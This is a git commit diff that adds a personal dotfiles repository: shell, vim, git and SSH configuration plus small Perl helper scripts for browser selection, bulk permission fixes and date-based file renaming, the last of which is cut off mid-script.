Initial check-in
This commit is contained in:
commit
ed2834874f
26
README.md
Normal file
26
README.md
Normal file
|
@ -0,0 +1,26 @@
|
||||||
|
# Kirsle's Dotfiles
|
||||||
|
|
||||||
|
This repo is for my own personal use for syncing my Unix config files and
|
||||||
|
scripts between my various devices. Feel free to look around and learn from
|
||||||
|
my config scripts.
|
||||||
|
|
||||||
|
# Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
~$ git clone git@github.com:kirsle/.dotfiles
|
||||||
|
~$ ./.dotfiles/setup --install
|
||||||
|
```
|
||||||
|
|
||||||
|
# Layout
|
||||||
|
|
||||||
|
* `./setup`
|
||||||
|
|
||||||
|
Installation script for the dotfiles. Creates symlinks for everything in
|
||||||
|
`./home` into `$HOME`.
|
||||||
|
|
||||||
|
This will **not** delete existing files, such as `~/.bashrc`. Use the
|
||||||
|
`--install` option to make it do so.
|
||||||
|
|
||||||
|
* `./home`
|
||||||
|
|
||||||
|
Everything in this folder will be symlinked to from your `$HOME` folder.
|
157
home/.bashrc
Normal file
157
home/.bashrc
Normal file
|
@ -0,0 +1,157 @@
|
||||||
|
# .bashrc
|
||||||
|
|
||||||
|
# Kirsle's Global BashRC
|
||||||
|
# Updated 2013-05-21
|
||||||
|
|
||||||
|
PATH="/usr/sbin:/sbin:/usr/bin:/bin:/usr/local/bin:/usr/local/sbin:$HOME/bin:$HOME/go/bin"
|
||||||
|
|
||||||
|
# Source global definitions
|
||||||
|
if [ -f /etc/bashrc ]; then
|
||||||
|
. /etc/bashrc
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Source local system-specific config.
|
||||||
|
if [ -f ~/.localbashrc ]; then
|
||||||
|
. ~/.localbashrc
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Perlbrew
|
||||||
|
export PERLBREW_ROOT="/opt/perl5"
|
||||||
|
if [ -f /opt/perl5/etc/bashrc ]; then
|
||||||
|
source /opt/perl5/etc/bashrc
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Virtualenv
|
||||||
|
export WORKON_HOME=~/.virtualenv
|
||||||
|
if [ -f /usr/bin/virtualenvwrapper.sh ]; then
|
||||||
|
source /usr/bin/virtualenvwrapper.sh
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Colors!
|
||||||
|
BLACK='\e[0;30m'
|
||||||
|
NAVY='\e[0;34m'
|
||||||
|
GREEN='\e[0;32m'
|
||||||
|
TEAL='\e[0;36m'
|
||||||
|
MAROON='\e[0;31m'
|
||||||
|
PURPLE='\e[0;35m'
|
||||||
|
BROWN='\e[0;33m'
|
||||||
|
SILVER='\e[0;37m'
|
||||||
|
GRAY='\e[1;30m'
|
||||||
|
BLUE='\e[1;34m'
|
||||||
|
LIME='\e[1;32m'
|
||||||
|
CYAN='\e[1;36m'
|
||||||
|
RED='\e[1;31m'
|
||||||
|
MAGENTA='\e[1;35m'
|
||||||
|
YELLOW='\e[1;33m'
|
||||||
|
WHITE='\e[1;37m'
|
||||||
|
BOLD='\e[1m'
|
||||||
|
NC='\e[0m' # No Color
|
||||||
|
|
||||||
|
function showcolors() {
|
||||||
|
echo -e "$BLACK BLACK $NAVY NAVY $GREEN GREEN $TEAL TEAL"
|
||||||
|
echo -e "$MAROON MAROON $PURPLE PURPLE $BROWN BROWN $SILVER SILVER"
|
||||||
|
echo -e "$GRAY GRAY $BLUE BLUE $LIME LIME $CYAN CYAN $RED RED"
|
||||||
|
echo -e "$MAGENTA MAGENTA $YELLOW YELLOW $WHITE WHITE$NC"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Normalize the terminal.
|
||||||
|
ENLIGHTENED=0
|
||||||
|
if [ "$TERM" = 'xterm' ] || [ "$TERM" = 'xterm-256color' ] || [ "$TERM" = 'linux' ]; then
|
||||||
|
ENLIGHTENED=1
|
||||||
|
elif [ "$TERM" = 'screen' ] || [ "$TERM" = 'screen-256color' ]; then
|
||||||
|
ENLIGHTENED=1
|
||||||
|
elif [ "$TERM" = 'cygwin' ]; then
|
||||||
|
ENLIGHTENED=1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Custom bash prompt.
|
||||||
|
if [ "$ENLIGHTENED" = '1' ]; then
|
||||||
|
if [ `hostname` = 'fubar' ] || [ `hostname` = 'yakko' ]; then
|
||||||
|
export PS1="\[$CYAN\]\t \[$LIME\][\[$YELLOW\]\u\[$RED\]@\[$YELLOW\]\h \[$LIME\]\W\[$LIME\]]\[$BLUE\]\\$ \[$NC\]"
|
||||||
|
else
|
||||||
|
export PS1="\[$BOLD$BLUE\][\[$MAGENTA\]\u\[$BLUE\]@\[$MAGENTA\]\h \[$LIME\]\W\[$BLUE\]]\\$ \[$NC\]"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For non-Fedora environments be sure the PROMPT_COMMAND sets the title bar.
|
||||||
|
export PROMPT_COMMAND='printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/~}"'
|
||||||
|
|
||||||
|
# ___ ____ _ _ ____ ____ __ __
|
||||||
|
# / __)( ___)( \( )( ___)( _ \ /__\ ( )
|
||||||
|
# ( (_-. )__) ) ( )__) ) / /(__)\ )(__
|
||||||
|
# \___/(____)(_)\_)(____)(_)\_)(__)(__)(____)
|
||||||
|
# -==General Bash Aliases and Functions==-
|
||||||
|
|
||||||
|
alias vi='vim'
|
||||||
|
|
||||||
|
# reload .bashrc
|
||||||
|
alias rebash='. ~/.bashrc'
|
||||||
|
|
||||||
|
# a DOS-like title command
|
||||||
|
function title {
|
||||||
|
PROMPT_COMMAND="echo -en \"\033]0;$1\007\""
|
||||||
|
}
|
||||||
|
|
||||||
|
# Case-insensitive searching.
|
||||||
|
shopt -s nocaseglob
|
||||||
|
|
||||||
|
# Save history correctly when using multiple terminals.
|
||||||
|
# Don't save duplicate lines or blank lines.
|
||||||
|
export HISTCONTROL="ignoreboth"
|
||||||
|
export HISTSIZE=1000
|
||||||
|
shopt -s histappend
|
||||||
|
|
||||||
|
export EDITOR="/usr/bin/vim"
|
||||||
|
|
||||||
|
# Color grepping! Highlight grep expression in red text.
|
||||||
|
export GREP_COLOR=31
|
||||||
|
alias grep='grep --exclude=min.js --color=auto'
|
||||||
|
|
||||||
|
# Show proc name with pgrepping.
|
||||||
|
alias pg='ps aux | grep'
|
||||||
|
alias pgrep='pgrep -l'
|
||||||
|
|
||||||
|
# Allow ASCII color codes to work in less/more.
|
||||||
|
alias less='less -r'
|
||||||
|
alias more='less -r' # less is more
|
||||||
|
|
||||||
|
# ls aliases (Fedora defaults but defined here for portability)
|
||||||
|
alias ls='ls --color=auto'
|
||||||
|
alias ll='ls -hl --color=auto'
|
||||||
|
|
||||||
|
# More aliases!
|
||||||
|
alias ping='ping -c 10'
|
||||||
|
|
||||||
|
# Shortcuts to graphical programs.
|
||||||
|
alias firefox='nohup firefox 2>/dev/null'
|
||||||
|
alias gedit='nohup gedit 2>/dev/null'
|
||||||
|
|
||||||
|
# Lazy cd commands.
|
||||||
|
alias ...='cd ../..'
|
||||||
|
alias ..='cd ..'
|
||||||
|
alias ~='cd ~'
|
||||||
|
alias cd..='cd ..'
|
||||||
|
alias cd...='cd ../..'
|
||||||
|
|
||||||
|
# Lazy id commands
|
||||||
|
alias me='whoami'
|
||||||
|
alias i='whoami'
|
||||||
|
|
||||||
|
# Typos
|
||||||
|
alias iv='vi'
|
||||||
|
|
||||||
|
# Make cp and mv ask before replacing an existing file.
|
||||||
|
alias cp='cp -i'
|
||||||
|
alias mv='mv -i'
|
||||||
|
|
||||||
|
# 256 Color Terminal! Make sure a .xterm256 file exists in $HOME to enable.
|
||||||
|
if [ -e ".xterm256" ]; then
|
||||||
|
[ "$TERM" = 'xterm' ] && TERM=xterm-256color
|
||||||
|
[ "$TERM" = 'screen' ] && TERM=screen-256color
|
||||||
|
[ "$TERM" = 'rxvt-unicode' ] && TERM=rxvt-unicode-256color
|
||||||
|
|
||||||
|
if [ ! -z "$TERMCAP" ] && [ "$TERM" = "screen-256color" ]; then
|
||||||
|
TERMCAP=$(echo $TERMCAP | sed -e 's/Co#8/Co#256/g')
|
||||||
|
export TERMCAP
|
||||||
|
fi
|
||||||
|
fi
|
12
home/.config/autostart/pyupdatesd.desktop
Normal file
12
home/.config/autostart/pyupdatesd.desktop
Normal file
|
@ -0,0 +1,12 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Encoding=UTF-8
|
||||||
|
Version=0.9.4
|
||||||
|
Type=Application
|
||||||
|
Name=pyupdatesd
|
||||||
|
Comment=Yum Updates Daemon
|
||||||
|
Exec=pyupdatesd
|
||||||
|
OnlyShowIn=XFCE;
|
||||||
|
StartupNotify=false
|
||||||
|
Terminal=false
|
||||||
|
Hidden=false
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
||||||
|
1393630217
|
|
@ -0,0 +1,6 @@
|
||||||
|
{
|
||||||
|
"installed_packages":
|
||||||
|
[
|
||||||
|
"Better CoffeeScript"
|
||||||
|
]
|
||||||
|
}
|
|
@ -0,0 +1,12 @@
|
||||||
|
{
|
||||||
|
"draw_white_space": "all",
|
||||||
|
"font_face": "Ubuntu Mono",
|
||||||
|
"font_size": 12,
|
||||||
|
"hot_exit": false,
|
||||||
|
"ignored_packages":
|
||||||
|
[
|
||||||
|
"Vintage"
|
||||||
|
],
|
||||||
|
"remember_open_files": false,
|
||||||
|
"translate_tabs_to_spaces": true
|
||||||
|
}
|
22
home/.gitconfig
Normal file
22
home/.gitconfig
Normal file
|
@ -0,0 +1,22 @@
|
||||||
|
[user]
|
||||||
|
name = Noah Petherbridge
|
||||||
|
email = root@kirsle.net
|
||||||
|
|
||||||
|
[alias]
|
||||||
|
ci = commit
|
||||||
|
co = checkout
|
||||||
|
br = branch
|
||||||
|
st = status
|
||||||
|
|
||||||
|
[core]
|
||||||
|
editor = vim
|
||||||
|
|
||||||
|
[color]
|
||||||
|
ui = true
|
||||||
|
diff = true
|
||||||
|
pager = true
|
||||||
|
status = auto
|
||||||
|
branch = auto
|
||||||
|
|
||||||
|
[push]
|
||||||
|
default = simple
|
26
home/.ssh/config
Normal file
26
home/.ssh/config
Normal file
|
@ -0,0 +1,26 @@
|
||||||
|
Host *
|
||||||
|
ForwardAgent no
|
||||||
|
ForwardX11 no
|
||||||
|
ForwardX11Trusted yes
|
||||||
|
Port 22
|
||||||
|
Protocol 2
|
||||||
|
ServerAliveInterval 60
|
||||||
|
ServerAliveCountMax 30
|
||||||
|
|
||||||
|
# All hosts here prohibit password based logins, so don't get any ideas. ;)
|
||||||
|
|
||||||
|
Host socks
|
||||||
|
HostName kirsle.net
|
||||||
|
User kirsle
|
||||||
|
PasswordAuthentication no
|
||||||
|
DynamicForward 8080
|
||||||
|
|
||||||
|
Host kirsle
|
||||||
|
HostName kirsle.net
|
||||||
|
User kirsle
|
||||||
|
PasswordAuthentication no
|
||||||
|
|
||||||
|
Host caskir
|
||||||
|
HostName caskir.com
|
||||||
|
User noah
|
||||||
|
PasswordAuthentication no
|
129
home/.vimrc
Normal file
129
home/.vimrc
Normal file
|
@ -0,0 +1,129 @@
|
||||||
|
" vimrc, http://sh.kirsle.net/
|
||||||
|
" Last Modified 2013/09/27
|
||||||
|
|
||||||
|
set encoding=utf8 " Unicode support
|
||||||
|
set nocompatible " use vim defaults
|
||||||
|
set background=dark " my terminal has a black background
|
||||||
|
set tabstop=4 " number of spaces for tab character
|
||||||
|
set softtabstop=4 " insert/delete 4 spaces when hitting a tab/backspace
|
||||||
|
set shiftwidth=4 " number of spaces to auto-indent
|
||||||
|
set shiftround " round indent to multiple of 'shiftwidth'
|
||||||
|
set scrolloff=3 " keep 3 lines when scrolling
|
||||||
|
set smartindent " smart auto-indenting (recognizes C-like code)
|
||||||
|
set showmatch " hilite the matching brace when we type the closing brace
|
||||||
|
set nohls " don't highlight search matches
|
||||||
|
set incsearch " incremental search (search while you type)
|
||||||
|
set ignorecase " case-insensitive search
|
||||||
|
set showcmd " display incomplete commands
|
||||||
|
set ttyfast " smoother changes
|
||||||
|
set autowrite " automatic saving when quitting and switching buffer
|
||||||
|
set autoread " automatic read when file is modified from outside
|
||||||
|
syntax on " syntax highlighting
|
||||||
|
|
||||||
|
" When vimrc is edited, reload it.
|
||||||
|
autocmd! BufWritePost .vimrc source ~/.vimrc
|
||||||
|
|
||||||
|
" Enable filetype plugin
|
||||||
|
filetype plugin on
|
||||||
|
filetype indent on
|
||||||
|
|
||||||
|
" Mouse support that keeps the fast scroll wheel speed.
|
||||||
|
set mouse=a
|
||||||
|
set ttymouse=xterm2
|
||||||
|
map <MouseUp> 12j
|
||||||
|
map <MouseDown> 12k
|
||||||
|
map <MiddleMouse> <Nop>
|
||||||
|
imap <MouseUp> <C-O>12j
|
||||||
|
imap <MouseDown> <C-O>12k
|
||||||
|
imap <MiddleMouse> <Nop>
|
||||||
|
|
||||||
|
" Make movement make sense across wrapped lines.
|
||||||
|
nnoremap j gj
|
||||||
|
nnoremap k gk
|
||||||
|
imap <Up> <C-O>gk
|
||||||
|
imap <Down> <C-O>gj
|
||||||
|
map <Up> gk
|
||||||
|
map <Down> gj
|
||||||
|
|
||||||
|
" Tell Vim to remember things when we exit:
|
||||||
|
" '10 : marks will be remembered for up to 10 previously edited files
|
||||||
|
" "100 : will save up to 100 lines for each register
|
||||||
|
" :20 : up to 20 lines of command-line history remembered
|
||||||
|
" % : saves and restores the buffer list
|
||||||
|
" n... : where to save the viminfo files
|
||||||
|
set viminfo='10,\"100,:20,%,n~/.viminfo'
|
||||||
|
|
||||||
|
" Restore the cursor position.
|
||||||
|
function! ResCur()
|
||||||
|
if line("'\"") <= line("$")
|
||||||
|
normal! g`"
|
||||||
|
return 1
|
||||||
|
endif
|
||||||
|
endfunction
|
||||||
|
augroup resCur
|
||||||
|
autocmd!
|
||||||
|
autocmd BufWinEnter * call ResCur()
|
||||||
|
augroup END
|
||||||
|
|
||||||
|
" make tab in v mode indent code
|
||||||
|
vmap <tab> >gv
|
||||||
|
vmap <s-tab> <gv
|
||||||
|
|
||||||
|
" make tab in normal mode indent code
|
||||||
|
nmap <tab> I<tab><esc>
|
||||||
|
nmap <s-tab> ^i<bs><esc>
|
||||||
|
|
||||||
|
" change the bash title so the filename is first in the title bar
|
||||||
|
let &titlestring = expand("%:t") . " - vim on " . hostname()
|
||||||
|
if &term == "screen"
|
||||||
|
set t_ts=k
|
||||||
|
set t_fs=\
|
||||||
|
endif
|
||||||
|
if &term == "screen" || &term == "xterm" || &term == "xterm-256color"
|
||||||
|
set title
|
||||||
|
endif
|
||||||
|
|
||||||
|
" custom file extensions
|
||||||
|
au BufNewFile,BufRead *.panel set filetype=html
|
||||||
|
au BufNewFile,BufRead *.tt set filetype=html
|
||||||
|
au BufNewFile,BufRead *.tp set filetype=html
|
||||||
|
|
||||||
|
""""""""""""""""""""""""
|
||||||
|
""" General coding stuff
|
||||||
|
""""""""""""""""""""""""
|
||||||
|
|
||||||
|
" git commit messages
|
||||||
|
autocmd Filetype gitcommit setlocal spell textwidth=72
|
||||||
|
|
||||||
|
" reStructuredText
|
||||||
|
autocmd FileType rst set tabstop=3 softtabstop=3 shiftwidth=3 expandtab
|
||||||
|
|
||||||
|
" Make sure the syntax is always right, even when in the middle of
|
||||||
|
" a huge javascript inside an html file.
|
||||||
|
autocmd BufEnter * :syntax sync fromstart
|
||||||
|
|
||||||
|
" Map F12 to sync the syntax too.
|
||||||
|
noremap <F12> <Esc>:syntax sync fromstart<CR>
|
||||||
|
inoremap <F12> <C-o>:syntax sync fromstart<CR>
|
||||||
|
|
||||||
|
""""""""""""""
|
||||||
|
""" Perl stuff
|
||||||
|
""""""""""""""
|
||||||
|
|
||||||
|
" check perl code with :make
|
||||||
|
autocmd FileType perl set makeprg=perl\ -c\ %\ $*
|
||||||
|
autocmd FileType perl set errorformat=%f:%l%m
|
||||||
|
|
||||||
|
" syntax highlight pod documentation correctly
|
||||||
|
let perl_include_pod = 1
|
||||||
|
|
||||||
|
" syntax color complex things like @{${"foo"}}
|
||||||
|
let perl_extended_vars = 1
|
||||||
|
|
||||||
|
""""""""""""""""
|
||||||
|
""" Python stuff
|
||||||
|
""""""""""""""""
|
||||||
|
|
||||||
|
" expand tabs for python code
|
||||||
|
autocmd BufRead,BufNewFile *.py set expandtab
|
||||||
|
|
59
home/bin/browser-wrap
Executable file
59
home/bin/browser-wrap
Executable file
|
@ -0,0 +1,59 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# browser-wrap: Set this as your default browser to open certain links with
|
||||||
|
# certain browsers.
|
||||||
|
#
|
||||||
|
# To get `xdg-open` to use this, put this in your ~/.profile (update the path
|
||||||
|
# to match where you installed the script to):
|
||||||
|
#
|
||||||
|
# if [ -n "$DISPLAY" ]; then
|
||||||
|
# BROWSER=/home/kirsle/bin/browser-wrap
|
||||||
|
# fi
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
# Configuration Section #
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
|
||||||
|
# Define your browser rules here.
|
||||||
|
my $rules = {
|
||||||
|
# These are domain names to match. Use a regular expression.
|
||||||
|
qr/(facebook|fbcdn)\.(com|net)/ => "google-chrome",
|
||||||
|
};
|
||||||
|
|
||||||
|
# Default browser for links that don't have rules that match.
|
||||||
|
my $default = "firefox";
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
# End Configuration Section #
|
||||||
|
#------------------------------------------------------------------------------#
|
||||||
|
|
||||||
|
# Get the URL passed in.
|
||||||
|
my $url = shift(@ARGV);
|
||||||
|
my $browser = $default;
|
||||||
|
|
||||||
|
# Looks okay?
|
||||||
|
if ($url =~ /^https?:\/\/([^\/]+)\/?/i) {
|
||||||
|
print "Domain: $1\n";
|
||||||
|
my $domain = $1;
|
||||||
|
|
||||||
|
# Look for the best rule.
|
||||||
|
my @sorted = sort { length($b) <=> length($a) } keys %{$rules};
|
||||||
|
foreach my $rule (@sorted) {
|
||||||
|
if ($domain =~ /$rule/i) {
|
||||||
|
# Matched!
|
||||||
|
$browser = $rules->{$rule};
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Launch the browser.
|
||||||
|
my ($app, @args) = split(/\s+/, $browser);
|
||||||
|
exec($app, @args, $url, @ARGV);
|
55
home/bin/chmodfix
Executable file
55
home/bin/chmodfix
Executable file
|
@ -0,0 +1,55 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# chmodfix - automagically fix file permissions, recursively, to their sane
|
||||||
|
# default values:
|
||||||
|
#
|
||||||
|
# CGI scripts = 0755
|
||||||
|
# directories = 0755
|
||||||
|
# normal files = 0644
|
||||||
|
#
|
||||||
|
# usage: chmodfix <start-directory>
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
if (scalar(@ARGV)) {
|
||||||
|
foreach my $dir (@ARGV) {
|
||||||
|
if (-d $dir) {
|
||||||
|
print "#####################\n";
|
||||||
|
print "Fix: $dir\n";
|
||||||
|
print "#####################\n";
|
||||||
|
&scanDir($dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "Usage: chmodfix <directories>\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
opendir (DIR, $dir);
|
||||||
|
foreach my $file (readdir(DIR)) {
|
||||||
|
next if $file eq ".";
|
||||||
|
next if $file eq "..";
|
||||||
|
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
print "chmod directory: 0755 ($dir/$file)\n";
|
||||||
|
chmod (0755, "$dir/$file");
|
||||||
|
&scanDir ("$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($file =~ /\.(cgi|pl)$/i) {
|
||||||
|
print "chmod CGI file: 0755 ($dir/$file)\n";
|
||||||
|
chmod (0755, "$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "chmod file: 0644 ($dir/$file)\n";
|
||||||
|
chmod (0644, "$dir/$file");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
}
|
49
home/bin/chmodweb
Executable file
49
home/bin/chmodweb
Executable file
|
@ -0,0 +1,49 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# chmodweb - Like chmodfix except regular files are chmodded 0666 instead of
|
||||||
|
# 0644. See chmodfix.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
if (scalar(@ARGV)) {
|
||||||
|
foreach my $dir (@ARGV) {
|
||||||
|
if (-d $dir) {
|
||||||
|
print "#####################\n";
|
||||||
|
print "Fix: $dir\n";
|
||||||
|
print "#####################\n";
|
||||||
|
&scanDir($dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "Usage: chmodfix <directories>\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
opendir (DIR, $dir);
|
||||||
|
foreach my $file (readdir(DIR)) {
|
||||||
|
next if $file eq ".";
|
||||||
|
next if $file eq "..";
|
||||||
|
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
print "chmod directory: 0755 ($dir/$file)\n";
|
||||||
|
chmod (0755, "$dir/$file");
|
||||||
|
&scanDir ("$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($file =~ /\.(cgi|pl|php)$/i) {
|
||||||
|
print "chmod CGI file: 0755 ($dir/$file)\n";
|
||||||
|
chmod (0755, "$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "chmod file: 0666 ($dir/$file)\n";
|
||||||
|
chmod (0666, "$dir/$file");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
}
|
375
home/bin/datename
Executable file
375
home/bin/datename
Executable file
|
@ -0,0 +1,375 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# datename - Automatically rename a large group of files to have dates in their
|
||||||
|
# names.
|
||||||
|
#
|
||||||
|
# This script is for renaming many files (e.g. files downloaded from a digital
|
||||||
|
# camera) to have dates as their file names, e.g. from 2009-12-25_001.jpg to
|
||||||
|
# 2009-12-25_058.jpg
|
||||||
|
#
|
||||||
|
# Usage: datename [options] <files>
|
||||||
|
# See `datename -?` for more help.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Getopt::Long;
|
||||||
|
use File::Copy;
|
||||||
|
our $version = "1.0 Feb 23 2009";
|
||||||
|
|
||||||
|
unless (@ARGV) {
|
||||||
|
print "Usage: datename [options] [files]\n"
|
||||||
|
. "Try `datename -?` for help.\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
our %c = (
|
||||||
|
r => "\e[31m",
|
||||||
|
g => "\e[32m",
|
||||||
|
c => "\e[34m",
|
||||||
|
o => "\e[0m",
|
||||||
|
);
|
||||||
|
|
||||||
|
##############################
|
||||||
|
# Collect Options #
|
||||||
|
##############################
|
||||||
|
|
||||||
|
my @lt = localtime(time());
|
||||||
|
my $today = join("-",
|
||||||
|
sprintf("%04d", ($lt[5] + 1900)),
|
||||||
|
sprintf("%02d", ($lt[4] + 1)),
|
||||||
|
sprintf("%02d", ($lt[3])),
|
||||||
|
);
|
||||||
|
my $o = {
|
||||||
|
help => 0,
|
||||||
|
format => undef,
|
||||||
|
date => undef,
|
||||||
|
start => 1,
|
||||||
|
force => 0,
|
||||||
|
backup => "./datename-backup",
|
||||||
|
nobackup => 0,
|
||||||
|
mono => 0,
|
||||||
|
};
|
||||||
|
GetOptions (
|
||||||
|
'help|h|?' => \$o->{help},
|
||||||
|
'format|f=s' => \$o->{format},
|
||||||
|
'date|d=s' => \$o->{date},
|
||||||
|
'start|s=i' => \$o->{start},
|
||||||
|
'backup|b=s' => \$o->{backup},
|
||||||
|
'nobackup' => \$o->{nobackup},
|
||||||
|
'force' => \$o->{force},
|
||||||
|
'monotone|mono|m' => \$o->{mono},
|
||||||
|
);
|
||||||
|
if ($o->{help}) {
|
||||||
|
&help();
|
||||||
|
}
|
||||||
|
if ($o->{mono}) {
|
||||||
|
foreach my $key (keys %c) {
|
||||||
|
$c{$key} = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
##############################
|
||||||
|
# Ask for Parameters #
|
||||||
|
##############################
|
||||||
|
$| = 1;
|
||||||
|
print "$c{r}DateName$c{o} version $c{g}$version$c{o}\n\n";
|
||||||
|
|
||||||
|
unless ($o->{nobackup}) {
|
||||||
|
print "Initializing backup directory... ";
|
||||||
|
if (!-d $o->{backup}) {
|
||||||
|
system("mkdir", "-p", $o->{backup});
|
||||||
|
if (!-d $o->{backup}) {
|
||||||
|
die "Can't create backup directory: $!";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print "Done!\n\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!defined $o->{format}) {
|
||||||
|
print "$c{c}1: Enter the format for the file names to follow. This should\n"
|
||||||
|
. " contain the sequences `yyyy`, `mm`, `dd`, and at least one\n"
|
||||||
|
. " `n`. For example if the format is `yyyy-mm-dd_nnn`, the\n"
|
||||||
|
. " and the date is 2009-02-23, the first file will be named\n"
|
||||||
|
. " 2009-02-23_001.jpg, the second 2009-02-23_002.jpg, and\n"
|
||||||
|
. " so-on. The default is yyyy-mm-dd_nnn. You can simply hit\n"
|
||||||
|
. " return here if you want to keep the default.$c{o}\n\n";
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
my $format = &prompt("Enter the date format, or blank for "
|
||||||
|
. "<yyyy-mm-dd_nnn>", "yyyy-mm-dd_nnn");
|
||||||
|
|
||||||
|
# Validate the format.
|
||||||
|
if ($format !~ /yyyy/ || $format !~ /mm/ || $format !~ /dd/
|
||||||
|
|| $format !~ /n+/) {
|
||||||
|
print "\n$c{r}You've entered an invalid date format. "
|
||||||
|
. "Try again.$c{o}\n\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# Good.
|
||||||
|
$o->{format} = $format;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!defined $o->{date}) {
|
||||||
|
print "\n$c{c}2: Enter the date that you want these files to be renamed\n"
|
||||||
|
. " after. Enter the date in the format of yyyy-mm-dd.\n"
|
||||||
|
. " Today's date is $c{g}$today$c{c}.$c{o}\n\n";
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
my $date = &prompt("Enter the date to rename the files after, "
|
||||||
|
. "or <$today>", $today);
|
||||||
|
|
||||||
|
# Validate the date.
|
||||||
|
if ($date !~ /^(\d\d\d\d)\-(\d\d)\-(\d\d)$/) {
|
||||||
|
print "\n$c{r}You've entered an invalid date. The date\n"
|
||||||
|
. "must be in yyyy-mm-dd format.$c{o}\n\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# Good.
|
||||||
|
$o->{date} = $date;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (1) {
|
||||||
|
print "\n$c{c}3: Your files will be renamed beginning with the number "
|
||||||
|
. $c{g} . $o->{start} . "$c{c}.$c{o}\n\n";
|
||||||
|
|
||||||
|
my $answer = &prompt("Okay to begin at the number $o->{start}? "
|
||||||
|
. " [y/n] <y>",
|
||||||
|
"y",
|
||||||
|
qw(y yes n no));
|
||||||
|
if ($answer =~ /^n/i) {
|
||||||
|
while (1) {
|
||||||
|
my $start = &prompt("What number do you want to "
|
||||||
|
. "start at, or <1>", 1);
|
||||||
|
if ($start !~ /^\d+$/) {
|
||||||
|
print "\n$c{r}Invalid answer.$c{o}\n\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o->{start} = $start;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
##############################
|
||||||
|
# Summarize What's Going On #
|
||||||
|
##############################
|
||||||
|
|
||||||
|
my @files = &getFileList();
|
||||||
|
my $numFiles = scalar(@files);
|
||||||
|
my ($nss) = ($o->{format} =~ /(n+)/i);
|
||||||
|
our $ns = length $nss;
|
||||||
|
our ($year,$mon,$day) = ($o->{date} =~ /^(\d\d\d\d)\-(\d\d)\-(\d\d)$/);
|
||||||
|
if (1) {
|
||||||
|
my $backuptext = "Your files will be backed up to $o->{backup}.";
|
||||||
|
if ($o->{nobackup}) {
|
||||||
|
$backuptext = "Your files will *NOT* be backed up.";
|
||||||
|
}
|
||||||
|
my $first = &datename($o->{start});
|
||||||
|
my $last = &datename($o->{start} + $numFiles);
|
||||||
|
print "\n" . $c{c}
|
||||||
|
. ("=" x 70) . "$c{o}\n"
|
||||||
|
. "$c{g}Summary of Operations:$c{o}\n\n"
|
||||||
|
. "$c{c}Your $numFiles files are going to be renamed in the format\n"
|
||||||
|
. "'$o->{format}' using the date '$o->{date}', beginning with\n"
|
||||||
|
. "the number $o->{start}. They will be renamed from\n"
|
||||||
|
